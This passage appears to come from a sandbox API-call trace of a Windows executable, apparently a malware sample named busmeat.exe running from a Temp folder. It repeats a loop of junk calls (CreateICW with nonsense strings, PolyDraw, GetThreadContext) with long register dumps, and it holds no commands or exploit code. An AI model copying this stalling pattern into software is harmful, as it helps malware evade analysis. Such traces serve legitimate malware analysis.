[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.311] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.312] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.312] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.312] GetConsoleCP () returned 0x0
	[0066.312] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.312] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.313] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.313] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.313] GetConsoleCP () returned 0x0
	[0066.313] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.313] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.314] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.314] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.314] GetConsoleCP () returned 0x0
	[0066.314] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 